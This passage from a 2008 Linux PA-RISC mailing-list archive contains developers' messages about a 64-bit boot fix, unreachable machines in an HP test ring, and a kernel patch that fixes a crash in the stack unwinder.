v2.6.27-rc1. Can you test that?

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 64bit kernel not booting with CONFIG_PRINTK_TIME=y
Date: Tue, 29 Jul 2008 19:42:12 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <20080729194212.31a0a9f3@bleh.bxl.tuxicoman.be>
References: <20080717190502.74c238d5@bleh.bxl.tuxicoman.be>
	<20080719215459.GA2550@phobos.i.cabal.ca>
	<20080719230418.GA4263@phobos.i.cabal.ca>
	<20080720112345.07869299@bleh.bxl.tuxicoman.be>
	<20080729042929.GB11425@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217353419 5928 80.91.229.12 (29 Jul 2008 17:43:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Jul 2008 17:43:39 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 29 19:44:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNtEo-00013n-44
	for glpp-linux-parisc@gmane.org; Tue, 29 Jul 2008 19:43:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753769AbYG2RmT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jul 2008 13:42:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759998AbYG2RmT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 29 Jul 2008 13:42:19 -0400
Original-Received: from cable-85.28.84.48.coditel.net ([85.28.84.48]:44269 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759989AbYG2RmR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jul 2008 13:42:17 -0400
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1KNtDB-0000s5-It; Tue, 29 Jul 2008 19:42:13 +0200
In-Reply-To: <20080729042929.GB11425@phobos.i.cabal.ca>
X-Mailer: Claws Mail 3.4.0 (GTK+ 2.12.9; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:569 gmane.linux.kernel:713426
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/569>


Hi Kyle,

Works like a charm !

ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 5029888 mediaptr 0x1000
Segment 1 load 0063c000 size 395176 mediaptr 0x4cd000
Segment 2 load 006a0000 size 251456 mediaptr 0x52e000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[17179569.184000] Linux version 2.6.27-rc1 (root@spiderman) (gcc version 4.2.4 (Gentoo 4.2.4 p1.0)) #1 SMP Tue Jul 29 19:32:01 CEST 2008
[17179569.184000] FP[0] enabled: Rev 1 Model 16
[17179569.184000] The 64-bit Kernel has started...
[17179569.184000] console [ttyB0] enabled
[17179569.184000] Initialized PDC Console for debugging.
[17179569.184000] Determining PDC firmware type: 64 bit PAT.


Thanks,
  Guy


On Tue, 29 Jul 2008 00:29:29 -0400
Kyle McMartin <kyle@mcmartin.ca> wrote:

> On Sun, Jul 20, 2008 at 11:23:45AM +0200, Guy Martin wrote:
> > [    0.000000] FP[0] enabled: Rev 1 Model 16
> > [    0.000000] The 64-bit Kernel has started...
> 
> I pushed a better fix to my git tree on kernel.org on top of
> v2.6.27-rc1. Can you test that?
> 
> r, Kyle


-- 
Guy Martin
Gentoo Linux - HPPA port lead
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rick Jones <rick.jones2@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Tue, 29 Jul 2008 13:03:10 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <488F777E.6090405@hp.com>
References: <1217254746.3503.61.camel@localhost.localdomain>	<20080728145712.GH18026@parisc-linux.org> <488DFD62.4080307@hp.com> <20080728171500.GB16059@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217361811 2220 80.91.229.12 (29 Jul 2008 20:03:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Jul 2008 20:03:31 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Richard Jones <rick.jones2@hp.com>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 29 22:04:19 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNvQf-0002po-Bq
	for glpp-linux-parisc@gmane.org; Tue, 29 Jul 2008 22:04:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752495AbYG2UDO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jul 2008 16:03:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752386AbYG2UDO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 29 Jul 2008 16:03:14 -0400
Original-Received: from g5t0008.atlanta.hp.com ([15.192.0.45]:31479 "EHLO
	g5t0008.atlanta.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752618AbYG2UDO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jul 2008 16:03:14 -0400
Original-Received: from tardy.cup.hp.com (tardy.cup.hp.com [16.89.104.60])
	by g5t0008.atlanta.hp.com (Postfix) with ESMTP id BD0C82426F;
	Tue, 29 Jul 2008 20:03:12 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by tardy.cup.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with ESMTP id NAA26375;
	Tue, 29 Jul 2008 13:03:10 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.7.13) Gecko/20060601
X-Accept-Language: en-us, en
In-Reply-To: <20080728171500.GB16059@parisc-linux.org>
X-Brightmail-Tracker: AAAAAQAAAAI=
X-Whitelist: TRUE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:570
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/570>

A couple of the rx2600's were not powered-up, so I've powered them up. 
One of the rp34xx's does not seem "happy" and will need further 
diagnosis.  If there are other things still "not right" with the ring, 
please feel free to let me know the specifics.

rick jones
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Tue, 29 Jul 2008 15:25:36 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <1217363136.6103.68.camel@localhost.localdomain>
References: <1217254746.3503.61.camel@localhost.localdomain>
	 <20080728145712.GH18026@parisc-linux.org> <488DFD62.4080307@hp.com>
	 <20080728171500.GB16059@parisc-linux.org>  <488F777E.6090405@hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217363190 7088 80.91.229.12 (29 Jul 2008 20:26:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Jul 2008 20:26:30 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Rick Jones <rick.jones2@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 29 22:27:19 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNvmh-0003P8-SN
	for glpp-linux-parisc@gmane.org; Tue, 29 Jul 2008 22:27:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751906AbYG2U0H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jul 2008 16:26:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752044AbYG2U0H
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 29 Jul 2008 16:26:07 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:46781 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751906AbYG2U0G (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jul 2008 16:26:06 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id A94EF83DA;
	Tue, 29 Jul 2008 15:26:03 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id MUzP85bwkEJl; Tue, 29 Jul 2008 15:26:02 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id C9BA1800D;
	Tue, 29 Jul 2008 15:26:01 -0500 (CDT)
In-Reply-To: <488F777E.6090405@hp.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:571
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/571>

On Tue, 2008-07-29 at 13:03 -0700, Rick Jones wrote:
> A couple of the rx2600's were not powered-up, so I've powered them up. 
> One of the rp34xx's does not seem "happy" and will need further 
> diagnosis.  If there are other things still "not right" with the ring, 
> please feel free to let me know the specifics.

gsyprf11 and gsyprf10 are still not responding to pings ... could the IP
routings have changed or something?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Tue, 29 Jul 2008 14:26:03 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20080729202603.GF24924@parisc-linux.org>
References: <1217254746.3503.61.camel@localhost.localdomain> <20080728145712.GH18026@parisc-linux.org> <488DFD62.4080307@hp.com> <20080728171500.GB16059@parisc-linux.org> <488F777E.6090405@hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1217363199 7118 80.91.229.12 (29 Jul 2008 20:26:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Jul 2008 20:26:39 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Rick Jones <rick.jones2@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 29 22:27:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNvmx-0003P8-RE
	for glpp-linux-parisc@gmane.org; Tue, 29 Jul 2008 22:27:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752044AbYG2U0X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jul 2008 16:26:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752062AbYG2U0X
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 29 Jul 2008 16:26:23 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:39681 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752044AbYG2U0X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jul 2008 16:26:23 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 3580E49400E; Tue, 29 Jul 2008 14:26:04 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <488F777E.6090405@hp.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/572>

On Tue, Jul 29, 2008 at 01:03:10PM -0700, Rick Jones wrote:
> A couple of the rx2600's were not powered-up, so I've powered them up. 
> One of the rp34xx's does not seem "happy" and will need further 
> diagnosis.  If there are other things still "not right" with the ring, 
> please feel free to let me know the specifics.

I can't connect to port 22 on any of gsyprf3, gsyprf10 or gsyprf11.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix unwind crash - was: Re: 2.6.26 kernel crash
Date: Tue, 29 Jul 2008 22:31:46 +0200
Lines: 108
Approved: news@gmane.org
Message-ID: <488F7E32.4070204@gmx.de>
References: <200807201846.11809.deller@gmx.de> <200807201907.59762.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060003050404030306040506"
X-Trace: ger.gmane.org 1217363526 8391 80.91.229.12 (29 Jul 2008 20:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Jul 2008 20:32:06 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 29 22:32:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNvsG-0005Su-Ia
	for glpp-linux-parisc@gmane.org; Tue, 29 Jul 2008 22:32:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752742AbYG2Ubw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jul 2008 16:31:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753048AbYG2Ubw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 29 Jul 2008 16:31:52 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51895 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752742AbYG2Ubv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jul 2008 16:31:51 -0400
Original-Received: (qmail invoked by alias); 29 Jul 2008 20:31:49 -0000
Original-Received: from mnhm-590e0033.pool.einsundeins.de (EHLO halden.box) [89.14.0.51]
  by mail.gmx.net (mp001) with SMTP; 29 Jul 2008 22:31:49 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18IsbB4WE8Idb2pi3xtJOW+2WqS4sXUMENayMhJWN
	nCuCUhVZxqgiuC
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <200807201907.59762.deller@gmx.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49,0.64
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:573
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/573>

This is a multi-part message in MIME format.
--------------060003050404030306040506
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

I narrowed down to the problematic codepath, and I assume the attached 
patch might fix it. Problem is, that I can't test without my testcase 
which is on gsyprf10 (which is unreachable right now), so this patch 
here is currently a RFC...

Helge

Signed-off-by: Helge Deller <deller@gmx.de>


Helge Deller wrote:
> On Sunday 20 July 2008, Helge Deller wrote:
>> While debugging some user-space stuff I just faced this 32bit kernel crash (2.6.26):
>> Maybe someone has an idea?
> 
> This is reproduceable.
> Testcase and docu is here: http://gsyprf10.external.hp.com/~deller/crash.tgz
> 
> Just run:
> LD_LIBRARY_PATH=.  ./a.out
> 
> Output is:
> making contexts
> swapping contexts
> start f2
> &on_stack=0x12d88
> start f1(a0=1,a1=2,a2=3,a3=fffffffc)
> <crash>
> 
> Info:
> - test program is from glibc:
>         glibc-2.7/stdlib/tst-setcontext.c
> - the compiled libc.so.6 includes some changes for *context() functions from me.
> 
>  
>> Kernel Fault: Code=15 regs=5f578640 (Addr=000127ec)
>>
>>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>> PSW: 00000000000001001111110000001111 Not tainted
>> r00-03  0004fc0f 10644f10 1011ee68 5f578288
>> r04-07  00000014 8c1fe860 8c1fe828 8eb7d030
>> r08-11  105ee890 00000040 0001264a 000d3b60
>> r12-15  00000000 000d3b5c 000dde68 000b0000
>> r16-19  8eb7d250 000b0000 ffffffff 000127ec
>> r20-23  ffffe040 00000000 101205d4 00000000
>> r24-27  00012800 101205cc 5f578288 1062ff10
>> r28-31  00000000 000002ee 5f578640 10120630
>> sr00-03  00000000 000013a7 00000000 000013a7
>> sr04-07  00000000 00000000 00000000 00000000
>>
>> IASQ: 00000000 00000000 IAOQ: 1011ed04 1011ed08
>>  IIR: 0e601093    ISR: 00000000  IOR: 000127ec
>>  CPU:        0   CR30: 5f578000 CR31: ffffffff
>>  ORIG_R28: 40400000
>>  IAOQ[0]: unwind_frame_regs+0x214/0x244
>>  IAOQ[1]: unwind_frame_regs+0x218/0x244
>>  RP(r2): unwind_once+0x10/0x48
>> Backtrace:
>>  [<1011ee68>] unwind_once+0x10/0x48
>>  [<10112bbc>] do_show_stack+0x28/0xac
>>  [<10112cd0>] parisc_show_stack+0x90/0xa8
>>  [<10111258>] do_page_fault+0x174/0x294
>>  [<10113824>] handle_interruption+0x570/0x58c
>>  [<10117078>] intr_check_sig+0x0/0x34
>>
>> Kernel panic - not syncing: Kernel Fault

--------------060003050404030306040506
Content-Type: text/plain;
 name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="diff"

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 701b2d2..8b4708d 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -341,8 +341,15 @@ static void unwind_frame_regs(struct unwind_frame_info *info)
 			info->prev_sp = info->sp - frame_size;
 			if (e->Millicode)
 				info->rp = info->r31;
-			else if (rpoffset)
-				info->rp = *(unsigned long *)(info->prev_sp - rpoffset);
+			else if (rpoffset) {
+				unsigned long tmp;
+
+				if (get_user(tmp,
+				       (unsigned long *)(info->prev_sp - rpoffset)))
+					info->rp = 0;
+				else
+					info->rp = tmp;
+			}
 			info->prev_ip = info->rp;
 			info->rp = 0;
 		}

--------------060003050404030306040506--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rick Jones <rick.jones2@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Tue, 29 Jul 2008 13:57:19 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <488F842F.3040000@hp.com>
References: <1217254746.3503.61.camel@localhost.localdomain>	<20080728145712.GH18026@parisc-linux.org> <488DFD62.4080307@hp.com>	<20080728171500.GB16059@parisc-linux.org>  <488F777E.6090405@hp.com> <1217363136.6103.68.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217365053 13231 80.91.229.12 (29 Jul 2008 20:57:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Jul 2008 20:57:33 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Richard Jones <rick.jones2@hp.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 29 22:58:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNwGy-0005sI-0B
	for glpp-linux-parisc@gmane.org; Tue, 29 Jul 2008 22:58:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752640AbYG2U5X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jul 2008 16:57:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752679AbYG2U5X
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 29 Jul 2008 16:57:23 -0400
Original-Received: from g1t0026.austin.hp.com ([15.216.28.33]:20770 "EHLO
	g1t0026.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752640AbYG2U5X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jul 2008 16:57:23 -0400
Original-Received: from tardy.cup.hp.com (tardy.cup.hp.com [16.89.104.60])
	by g1t0026.austin.hp.com (Postfix) with ESMTP id 62B31C47D;
	Tue, 29 Jul 2008 20:57:22 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by tardy.cup.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with ESMTP id NAA26565;
	Tue, 29 Jul 2008 13:57:20 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.7.13) Gecko/20060601
X-Accept-Language: en-us, en
In-Reply-To: <1217363136.6103.68.camel@localhost.localdomain>
X-Brightmail-Tracker: AAAAAQAAAAI=
X-Whitelist: TRUE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:574
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/574>


> gsyprf11 and gsyprf10 are still not responding to pings ... could the
> IP routings have changed or something?

 > I can't connect to port 22 on any of gsyprf3, gsyprf10 or gsyprf11.

Well, the IP's have remained the same, but the systems are physically in 
a different building.  Both netperf.org and ftp.cup.hp.com have moved 
from the same starting point to the same end-point.  If folks cannot 
ping them or cannot get to port 22 on those then there is still 
something amis in the network.  Otherwise there is still something amis 
with gsyprf[3|10|11].

rick jones


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Tue, 29 Jul 2008 17:09:45 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <1217369386.6103.73.camel@localhost.localdomain>
References: <1217254746.3503.61.camel@localhost.localdomain>
	 <20080728145712.GH18026@parisc-linux.org> <488DFD62.4080307@hp.com>
	 <20080728171500.GB16059@parisc-linux.org>  <488F777E.6090405@hp.com>
	 <1217363136.6103.68.camel@localhost.localdomain>  <488F842F.3040000@hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217369397 27065 80.91.229.12 (29 Jul 2008 22:09:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Jul 2008 22:09:57 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Rick Jones <rick.jones2@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 30 00:10:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNxP3-0004Q7-RA
	for glpp-linux-parisc@gmane.org; Wed, 30 Jul 2008 00:10:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753194AbYG2WJt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jul 2008 18:09:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754260AbYG2WJt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 29 Jul 2008 18:09:49 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:47380 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753194AbYG2WJt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jul 2008 18:09:49 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 9553383D3;
	Tue, 29 Jul 2008 17:09:47 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PQtZJQFrXzg8; Tue, 29 Jul 2008 17:09:46 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 788AF800D;
	Tue, 29 Jul 2008 17:09:46 -0500 (CDT)
In-Reply-To: <488F842F.3040000@hp.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
